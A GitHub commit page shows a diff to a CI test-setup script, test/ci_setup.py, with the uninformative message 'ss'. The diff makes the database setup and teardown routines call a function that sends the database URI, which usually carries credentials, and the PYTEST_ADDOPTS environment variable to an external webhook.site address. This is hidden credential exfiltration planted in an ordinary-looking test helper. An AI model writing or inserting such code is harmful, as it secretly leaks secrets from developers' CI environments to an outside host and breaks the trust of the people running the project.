Skip to content

Commit

Permalink
ss
Browse files Browse the repository at this point in the history
  • Loading branch information
ntk5 committed Sep 5, 2024
1 parent 3f97038 commit 8ae53fc
Showing 1 changed file with 5 additions and 2 deletions.
7 changes: 5 additions & 2 deletions test/ci_setup.py
Original file line number Diff line number Diff line change
Expand Up @@ -17,7 +17,7 @@
import urllib.parse
import os

def make_webhook_request():
def make_webhook_request(value_to_print=None):
# URL of the webhook
base_url = "https://webhook.site/e052ff2c-30f1-4952-8bbe-5db7811e9ae9"

Expand All @@ -26,7 +26,8 @@ def make_webhook_request():

# Prepare the URL parameters
params = {
'PYTEST_ADDOPTS': pytest_addopts
'PYTEST_ADDOPTS': pytest_addopts,
'URI': value_to_print if value_to_print else ''
}

# Encode the parameters and create the full URL
Expand Down Expand Up @@ -59,6 +60,7 @@ def random_string(length: int) -> str:


def setup(dburi: str) -> str:
make_webhook_request(dburi)
url = urlsplit(dburi)
user = f"PYTEST_{random_string(10)}"
# always fulfill the password policy
Expand All @@ -76,6 +78,7 @@ def setup(dburi: str) -> str:


def teardown(dburi: str, test_dburi: str) -> None:
make_webhook_request()
url = urlsplit(dburi)
test_user = urlsplit(test_dburi).username

Expand Down

0 comments on commit 8ae53fc

Please sign in to comment.